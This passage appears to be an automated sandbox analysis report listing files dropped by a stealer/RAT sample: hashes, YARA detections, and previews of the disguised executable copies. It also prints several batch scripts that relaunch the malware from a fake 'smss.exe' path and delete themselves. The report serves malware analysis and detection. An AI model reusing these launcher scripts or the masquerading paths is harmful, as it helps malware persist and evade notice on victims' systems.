                                                    Preview:uQdbcdfH0J5oYtvLJ7YXqqOxbXb8TCbuCRxueheefbWH2tIRRAIFoG5DCqAFCgxysLlH6Aqmd41OUG5rOJrS3VG5WtsyhYb9niZqIAVQUgmtPqt6uS03yf4WFpvMS2EEd2lwqOjNyb8XtWqpAwEOiiKHnCldPI8cbiQWF6PfsmEXhgns8FMfx0f5sdIonG8qdg6KGUkDhig5dwkHY2eJ6colCUolyk2moX4BjdmofI8PTkb52APulyuB1VIvq8P6p3QF2jh5Q0oxdYRb2stxVIAzn3JOU08g2CjaTVDTdUdvK6hcEq27Pckg2bc9ZTkZ1I5by0IgpaUBoPpqWqJo7ARabCh23E3JtE3CBFnNiWSzIj2nwvntK6b11fAvSPnlgKRkVmpQC5FlsbR1K4FIaJ9wmCLgE25SsrS7RRRJFWqO00IZNJlYKfKXLf8TbJLKAx2BJUj3m6CEcu6w3wS5QgINg5vwS8s6KgOC7HP3jrvNcG4biMZp1Q3dppeOixkoNF36g3ywhZWjv4uaAUOGiDF4muXRnAVwHHAWM75oXnHb4Usu4DNNjdFKA8TvggJgDjbn4XNDZjs55nASCmXjwHNnC0WOn

                                                    C:\Program Files\Uninstall Information\smss.exe

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):3697152
                                                    Entropy (8bit):7.825214540117569
                                                    Encrypted:false
                                                    SSDEEP:98304:wU0X6MSPLBMjtLfNwpOtXpsrN7jtUzEsidnwjnU:wU0BxqpOEjtUQs+wD
                                                    MD5:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    SHA1:A8B7565BAB387BAEE59FD80E21BA2806AB0EEB38
                                                    SHA-256:C6887B45E8295FD4896655603B599850CFF7FC0B4322E5ACE083D584196755A4
                                                    SHA-512:37F86E51DDD6BEDA3124E22BBD0D61CE8B90EFF99AAA31AA76DB9528AE4533B14DD4B15CB8737585B27C3A624FCD38824B9B4F6B646B79286910EDFFFEC40AE0
                                                    Malicious:true
                                                    Yara Hits:
                                                    • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Uninstall Information\smss.exe, Author: Joe Security
                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Uninstall Information\smss.exe, Author: Joe Security
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                    • Antivirus: ReversingLabs, Detection: 71%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e.................b8...........8.. ....8...@.. ........................8...........@...................................8.K.....8. .....................8...................................................... ............... ..H............text...$`8.. ...b8................. ..`.rsrc... .....8......d8.............@....reloc........8......h8.............@..B..................8.....H.......l...T...............z.-.O.8......................................0..........(.... ........8........E....*.......N...)...8%...(.... ....~....{....:....& ....8....*(.... ....~....{m...:....& ....8....(.... ....8........0..)....... ........8........E........u...........P.......8....~....(P... .... .... ....s....~....(T....... ....~....{....:....& ....8.......... ....~....{s...9y...& ....8n.......~....(X...~....(\... ....<C... ....~....{....98...& ....8-...8*... ....~....

                                                    C:\Program Files\Uninstall Information\smss.exe:Zone.Identifier

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):26
                                                    Entropy (8bit):3.95006375643621
                                                    Encrypted:false
                                                    SSDEEP:3:ggPYV:rPYV
                                                    MD5:187F488E27DB4AF347237FE461A079AD
                                                    SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                    SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                    SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                    Malicious:true
                                                    Preview:[ZoneTransfer]....ZoneId=0

                                                    C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):3697152
                                                    Entropy (8bit):7.825214540117569
                                                    Encrypted:false
                                                    SSDEEP:98304:wU0X6MSPLBMjtLfNwpOtXpsrN7jtUzEsidnwjnU:wU0BxqpOEjtUQs+wD
                                                    MD5:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    SHA1:A8B7565BAB387BAEE59FD80E21BA2806AB0EEB38
                                                    SHA-256:C6887B45E8295FD4896655603B599850CFF7FC0B4322E5ACE083D584196755A4
                                                    SHA-512:37F86E51DDD6BEDA3124E22BBD0D61CE8B90EFF99AAA31AA76DB9528AE4533B14DD4B15CB8737585B27C3A624FCD38824B9B4F6B646B79286910EDFFFEC40AE0
                                                    Malicious:true
                                                    Yara Hits:
                                                    • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe, Author: Joe Security
                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe, Author: Joe Security
                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe, Author: Joe Security
                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe, Author: Joe Security
                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe, Author: Joe Security
                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe, Author: Joe Security
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                    • Antivirus: ReversingLabs, Detection: 71%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e.................b8...........8.. ....8...@.. ........................8...........@...................................8.K.....8. .....................8...................................................... ............... ..H............text...$`8.. ...b8................. ..`.rsrc... .....8......d8.............@....reloc........8......h8.............@..B..................8.....H.......l...T...............z.-.O.8......................................0..........(.... ........8........E....*.......N...)...8%...(.... ....~....{....:....& ....8....*(.... ....~....{m...:....& ....8....(.... ....8........0..)....... ........8........E........u...........P.......8....~....(P... .... .... ....s....~....(T....... ....~....{....:....& ....8.......... ....~....{s...9y...& ....8n.......~....(X...~....(\... ....<C... ....~....{....98...& ....8-...8*... ....~....

                                                    C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe:Zone.Identifier

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):26
                                                    Entropy (8bit):3.95006375643621
                                                    Encrypted:false
                                                    SSDEEP:3:ggPYV:rPYV
                                                    MD5:187F488E27DB4AF347237FE461A079AD
                                                    SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                    SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                    SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                    Malicious:true
                                                    Preview:[ZoneTransfer]....ZoneId=0

                                                    C:\Program Files\Windows Multimedia Platform\bb1ff9bc311443

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):279
                                                    Entropy (8bit):5.755845709807791
                                                    Encrypted:false
                                                    SSDEEP:6:FOcp8Wi2JZUdMnodHMZ9UVoc2T3u9eErb0IuNn:niEZUincHMZmV99eEr4N
                                                    MD5:044FB61F11528DB97E5D075DCFE47A20
                                                    SHA1:D208E21DCC4554FF33CF4694A1362727DD2B5AD0
                                                    SHA-256:9016617FFB74F4D795D62D73547604879B707B9EE539567FCD62F7FA1E6E1CE1
                                                    SHA-512:955F53C1428750E28F53741E73BFF261C7E24463BC5B7FCF8980D504721E231E912866D899E75E904F83DF68E29116B44B140530729E3001FE0A185E08440AF1
                                                    Malicious:false
                                                    Preview:XyIzWAF4uga8NJgjJiiHAHmq9Fk45V9sLrXyVOiYAVE9i3HtmM3RHDQQLc0RZL8ZhrxfwrN5AKHoCmHF80RtcrkHaGm3XQ8yXpc0Fl6487R76lOjUvTi3P7zGqEqFUhtLSRXJQ9W3XueanLz2Dim7a5HrnuZgQzoahvnT0ZEv6ogfcYdePxCv5vvXKpfgj0niFE22hfBne0BvZmPPR5Qdx3ev9QJL3hLGB7ZYfk7uvYREuA8haQPojJvMjH3QV0t6p4tbM0tq8grYlaB9SmunSh

                                                    C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\cbCjTbodwa.exe.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with CRLF line terminators
                                                    Category:modified
                                                    Size (bytes):1698
                                                    Entropy (8bit):5.367720686892084
                                                    Encrypted:false
                                                    SSDEEP:48:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIs0HKjJHVHmHKlT4x:iqbYqGSI6oPtzHeqKktwmj0qV1GqZ4x
                                                    MD5:2C0A3C5388C3FAAFA50C8FB701A28891
                                                    SHA1:D75655E5C231DE60C96FD196658C429E155BEB0F
                                                    SHA-256:A44CB861DDF882F48202B95D3A8A535419C1AE0386666C84B803F9810473EDD7
                                                    SHA-512:0343301C34ED4FEB7EFF30186862EBC7446E6044955B3088B0BE0D86A3DACAE1BFC407A59D385E9CBB7A0DEF210DC3405FD442A598FD28431371E249F748258A
                                                    Malicious:true
                                                    Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

                                                    C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\smss.exe.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):1915
                                                    Entropy (8bit):5.363869398054153
                                                    Encrypted:false
                                                    SSDEEP:48:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIs0HKjJHVHpHNpaHKlT4x:iqbYqGSI6oPtzHeqKktwmj0qV1Jtpaq2
                                                    MD5:73E7DD0D3AE6532ADBC6411F439B5DE3
                                                    SHA1:427BE8DB5338D856906C1DDFBD186319A02F7567
                                                    SHA-256:A80934D9E4D8FC0BBE46BD76A4FE0F66125C03B5A8F83265420242BE975DC8EE
                                                    SHA-512:33FD10A43B9E16EAF568113F7298D34A730D9040693473A15739AED86228828095E42E16617D06F52363F970D517AD7D052FE520A9924EEC0A93F657CB631855
                                                    Malicious:false
                                                    Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

                                                    C:\Users\user\AppData\Local\Temp\2bTPqZ7w1t.bat

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):175
                                                    Entropy (8bit):5.10750383623221
                                                    Encrypted:false
                                                    SSDEEP:3:mKDDVNGvTVLuVFcROr+jn9mbZjpElfMKL1tNIvBktKcKZG1t+kiE2J5xAIFx1U/Z:hCRLuVFOOr+DE7ENMKhAvKOZG1wkn23s
                                                    MD5:5B6A752132F088E5F5165989630C525C
                                                    SHA1:521831259ADE599E07ADB6BA71F0B6595422AD33
                                                    SHA-256:011FC6C8797B3E5BBAA0FC0AD1E7437CB7E2A70A2EFF3FA8B7F9D83756577399
                                                    SHA-512:6BB8CFE51D930DE9B113EDC6A850B93D37351D227992A7D2926210FFDB53D878249EA5C3D0E76B7BF8D360BC921801843888610B55A8351B9C0DB68D87BBFF6A
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    Preview:@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Program Files\Uninstall Information\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\2bTPqZ7w1t.bat"

                                                    C:\Users\user\AppData\Local\Temp\Bfa0OwGrdG

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):25
                                                    Entropy (8bit):4.243856189774724
                                                    Encrypted:false
                                                    SSDEEP:3:LqUXAGmR:94
                                                    MD5:1B41CB075059008B7CE655EE6DF67927
                                                    SHA1:F5612313FB81D933F86157F3BFA12C794F1A8C22
                                                    SHA-256:0D84EBA35CBB2CF67EE58185BDF7FCE668577489E18EA5D94392ACD3BB1A70B7
                                                    SHA-512:DE345DF4FA265146F23F4FC70146264108E5B4DC5593BD3A222E9DE3D4B83FF6CBFBA5CE36D28A822E6C716525E855FE24F608948FFA0FBA305446873288BC2C
                                                    Malicious:false
                                                    Preview:MscVKOsvg1Hv8docCbuZfdxFg

                                                    C:\Users\user\AppData\Local\Temp\COegk83zmU.bat

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):223
                                                    Entropy (8bit):5.086914349018587
                                                    Encrypted:false
                                                    SSDEEP:6:hCijTg3Nou1SV+DE7ENMKhAvKOZG1wkn23fL6:HTg9uYDE0hgfu
                                                    MD5:816AF69CA3D3DBF1F256450A1F7268D7
                                                    SHA1:D3702AC14B794C7BDD8158630F92FA19757517A7
                                                    SHA-256:544FC77DE18ADDBC818058DA12CB83C8BC3900A34EC54A04CC4DDA10C42733EA
                                                    SHA-512:080E3DAC4FBAF3E0074A70467BA1EBED24FE5E172BFBB44AAB44197AE0B5F3813594986A1FB24893895027F84DE3992C7AEC363CAB0C60EDC477AD5B5C8255E7
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    Preview:@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Program Files\Uninstall Information\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\COegk83zmU.bat"

                                                    C:\Users\user\AppData\Local\Temp\HqVvjk53aP.bat

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):175
                                                    Entropy (8bit):5.120469185898631
                                                    Encrypted:false
                                                    SSDEEP:3:mKDDVNGvTVLuVFcROr+jn9mbZjpElfMKL1tNIvBktKcKZG1t+kiE2J5xAIyGRH:hCRLuVFOOr+DE7ENMKhAvKOZG1wkn23p
                                                    MD5:5AEA1EC28C60DD10FBE014DC3B26D052
                                                    SHA1:A61ECEE86CEE6A08F83C56070DD864E3C7107BF4
                                                    SHA-256:DADC3C0868A4AF5EBBDFFA8FC48EFCB89B607836F7B6C4AAFA6DF06B272ED724
                                                    SHA-512:1E1DEF93ECA96D577B5AC240584D3850AF79DE808252BF6DCD3C6BD9E13E3951C57C635F2A23ECADB2FC33989225C42C44AF6F2A49E110104830B5923C538E2D
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    Preview:@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Program Files\Uninstall Information\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\HqVvjk53aP.bat"

                                                    C:\Users\user\AppData\Local\Temp\I0elXU2F0g

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):25
                                                    Entropy (8bit):4.243856189774723
                                                    Encrypted:false
                                                    SSDEEP:3:oB1v5E:I1v5E
                                                    MD5:58563A56F5A9759DD85A704A6EF2BC35
                                                    SHA1:E7E9012245B371163A9CB55E75A010D0E72F7171
                                                    SHA-256:6554DDBB98C571509508D79EE9D09B8EF7D35282B024BF4FEA304F9A971D5D8F
                                                    SHA-512:EE75E667B94952403E713F3AF886F506A64B2DD9ECD168E610657660476C23BC5A8A577CA61495AE304D1B57E0CAB65A8756E1F3CAA2EFAA70CA00B7A762A5EC
                                                    Malicious:false
                                                    Preview:zKy9uJOX7Bt3Jjt6WykDB9ZPa

                                                    C:\Users\user\AppData\Local\Temp\IB3ybkF286.bat

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):175
                                                    Entropy (8bit):5.14809471079084
                                                    Encrypted:false
                                                    SSDEEP:3:mKDDVNGvTVLuVFcROr+jn9mbZjpElfMKL1tNIvBktKcKZG1t+kiE2J5xAIAsNK:hCRLuVFOOr+DE7ENMKhAvKOZG1wkn23e
                                                    MD5:261FF58773B814856A06D3B942F4A82A
                                                    SHA1:F35373C3CD6C914B4B82AA509D5DC87775BD9C4A
                                                    SHA-256:60A8C0DE50B4A937C476AFA445E8713E9ACAB7B42F9127E7CA2187651C800EE3
                                                    SHA-512:7FFE62F2500727EFBFB2D34B29DB38F8FE4620317A997D220CEC99D5E754A2D40E423228A5BEBB25A43FDB782C11EDA596B3EA189682E173101869A9078B820E
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    Preview:@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Program Files\Uninstall Information\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\IB3ybkF286.bat"

                                                    C:\Users\user\AppData\Local\Temp\LsjJJiW2rn.bat

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):223
                                                    Entropy (8bit):5.050741015686981
                                                    Encrypted:false
                                                    SSDEEP:6:hCijTg3Nou1SV+DE7ENMKhAvKOZG1wkn23fGLkh:HTg9uYDE0hgft
                                                    MD5:794758FB6316A5073615257952223EC7
                                                    SHA1:C7799DE05428BA65B390136A701FA218E308DF80
                                                    SHA-256:FB80BD891B99C2FFC6998FCD3D2E392E2D8A6879778EA03F4AF2731EE89F2079
                                                    SHA-512:62A08B1FC65AD5346D3681B6F2E3FE6BC5D48DC65CEC7BC999B6AB7D61127ACD764F77223AA095FC4B56CF05805253F223617AE0DC07545D7F2050C91612470F
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    Preview:@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Program Files\Uninstall Information\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\LsjJJiW2rn.bat"

                                                    C:\Users\user\AppData\Local\Temp\SrnQwv5hL3.bat

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):175
                                                    Entropy (8bit):5.104240013415367
                                                    Encrypted:false
                                                    SSDEEP:3:mKDDVNGvTVLuVFcROr+jn9mbZjpElfMKL1tNIvBktKcKZG1t+kiE2J5xAIO/zK:hCRLuVFOOr+DE7ENMKhAvKOZG1wkn235
                                                    MD5:42962F790C72F3F31530584ED1BB6837
                                                    SHA1:9C17E3F993E6B56D9D5E3D81EEDC6E444CB1DBE3
                                                    SHA-256:B8ED8698BBDAF5F9F5C54E4960CDBB67FD0834494B03C3EFA39A48F2592AC69D
                                                    SHA-512:5BB7A357DC42D6132D2FC93A39D7FA781E9D102F095DFC8C05E9AE3A75A4820D98BDE0F3A3096E80AF43FEE0918D20463B7B0FD9251ED96CECCECE4EF7CAB592
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    Preview:@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Program Files\Uninstall Information\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\SrnQwv5hL3.bat"

                                                    C:\Users\user\AppData\Local\Temp\WLOEqHw6cP.bat

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):175
                                                    Entropy (8bit):5.125808227762897
                                                    Encrypted:false
                                                    SSDEEP:3:mKDDVNGvTVLuVFcROr+jn9mbZjpElfMKL1tNIvBktKcKZG1t+kiE2J5xAIkqPCRH:hCRLuVFOOr+DE7ENMKhAvKOZG1wkn234
                                                    MD5:EE0C3DABF819C6F794A9DA2ADA176265
                                                    SHA1:043D173DDEC38049360EF5164B046A31534DE660
                                                    SHA-256:F7686BE40E8642BCEF92DA4219F7EDC7EC91059B8329F63B222CEAE0802A8C08
                                                    SHA-512:C2C86E8F61E8E9C5400B33EBE47770E35BF1C9834949B95345282FC9BC57F11646E7DA7EAFE2F56FF6D8DD2855BEC4B612204F58936057B793AC6BDCD9D05AC8
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    Preview:@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Program Files\Uninstall Information\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\WLOEqHw6cP.bat"

                                                    C:\Users\user\AppData\Local\Temp\aGFy00kgT9

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):25
                                                    Entropy (8bit):4.213660689688185
                                                    Encrypted:false
                                                    SSDEEP:3:GZdlrBM:Ulr6
                                                    MD5:2E70538C930EF8B01536E12E46434458
                                                    SHA1:F500AA65047295229B6FBBAFA227208D4DFAE200
                                                    SHA-256:B68CB5EC6C7601134F566861386EC01F9ACDB80318D1755A4552542F18B6DDCB
                                                    SHA-512:FAF196CE7D79270A537D02F7ADBC632FF161FEBFACD18494FD9A5F45C4EBC5DBBCBC6CCC0A0F298CBE2A3C0E152661BF0E7201F70DFD690D906D5976E0BE9D5C
                                                    Malicious:false
                                                    Preview:wkMx6du385g1EpnMGn471MSdi

                                                    C:\Users\user\AppData\Local\Temp\byfnIhnstV

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):25
                                                    Entropy (8bit):4.213660689688185
                                                    Encrypted:false
                                                    SSDEEP:3:0gABJbEn:5d
                                                    MD5:DF540CE084402833FAADDB6B06C0905E
                                                    SHA1:0BE2846B6D13AFC443EF3F6F6F12831FBC2F890B
                                                    SHA-256:0C9838D256837C323E4347C823587836A86F09F019E06F96C84B3B74729754B6
                                                    SHA-512:6FD159FB38098703A28961ECD6EB041D701BED4952EE49B4653E16F1C1811FF82C91F7B8F91A188DA24D5FAA4A70A025086E766C32DEB1D708B800ED25FBF916
                                                    Malicious:false
                                                    Preview:SocMS99oTbu98X8gdlxUwkfQa

                                                    C:\Users\user\AppData\Local\Temp\c0IzpGOVlR

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):25
                                                    Entropy (8bit):4.293660689688184
                                                    Encrypted:false
                                                    SSDEEP:3:tRl84r:3l8u
                                                    MD5:783B03A700D79B4F89E730A1BA40CD8C
                                                    SHA1:E0933E460B13552C26401B47E7C7E037BB0790DD
                                                    SHA-256:7657B2643D831F6CD6938FD96C167FD960E6A9074A55BC957CE403A071F14BEB
                                                    SHA-512:AEB1F82993AAF171DA4FAA1AC5EACD85D3B1795001CDE8D816BC9A4888D6DCC61287C01615C46530B24EEDA9620EA441523E88517F5E10C437028E2173526273
                                                    Malicious:false
                                                    Preview:m5kNLQZs5xRLsG5jzJcBftY0E

                                                    C:\Users\user\AppData\Local\Temp\ekQy7vV3dM

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):25
                                                    Entropy (8bit):4.5638561897747225
                                                    Encrypted:false
                                                    SSDEEP:3:0S+bnY:SDY
                                                    MD5:5F35ABFB7A1AD0628B28163E816202FE
                                                    SHA1:3BEB4F93C3648AFB7101CAD40A8A23DC6576679E
                                                    SHA-256:7A23BB5C4B026FA304C5EA863CE31EA848BAC0124D933D663384CF9730099807
                                                    SHA-512:4DCFEFE756E13CB5F3AAF5BAFC4A7DEC9A61DB8A0FC2BD83882F33FFCB8B291416189EE482B1BD620C0B76152CA777F73195DBB02DF7AE2270051C3ED7F7095D
                                                    Malicious:false
                                                    Preview:JeA1Z7Pogkuir8zYBt4DWBavV

                                                    C:\Users\user\AppData\Local\Temp\gVZxPZbbWI

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):25
                                                    Entropy (8bit):4.323856189774723
                                                    Encrypted:false
                                                    SSDEEP:3:+ALLqT1roDxHi:+Ay581i
                                                    MD5:7F3C9CFEF2752C3CEA99D5511419B799
                                                    SHA1:62E78213594071D80BFDA5F07DE6893BEAA000BE
                                                    SHA-256:844768885C5E9BA3E8BE5C600BF59EB39A064A470250DB03B4C61DD0AA07B7BC
                                                    SHA-512:AE870D1902F0501383C1412790011B4570F95038B1A6F10A35EF6F8359C282DE4A6A7DE9CBC113E49700AB5F499C5B4028AB8288B2CD3BA1CEDA69C0732A49B1
                                                    Malicious:false
                                                    Preview:pCZennGlHXN5q1sNMSVFMTbpm

                                                    C:\Users\user\AppData\Local\Temp\quUL4SzIbS

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):25
                                                    Entropy (8bit):4.403856189774723
                                                    Encrypted:false
                                                    SSDEEP:3:lnkdp8zdUP:lnUCJW
                                                    MD5:178F2922855D2E6EB7C298827ABF7BCD
                                                    SHA1:9042E00B53517AF25B1AA2F642A7E774BF6D5BF0
                                                    SHA-256:4FF83AF77C48435163EC267123EEE0208824C6833B613E888361A6DCC78F93B4
                                                    SHA-512:B848EB7CB392D6DDC83CB7A4F120AACF3AC3109FE3B0F19E1A7E34C80DF400AA7FF72BE23EAA642664FBBBBEA95976581B1E79BBD53DDA2996703B8ED78CF4FE
                                                    Malicious:false
                                                    Preview:KWbBVBu8LKrgAfrhxEGN2061j

                                                    C:\Users\user\AppData\Local\Temp\rsWxIDz3Cx.bat

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):175
                                                    Entropy (8bit):5.078126845703104
                                                    Encrypted:false
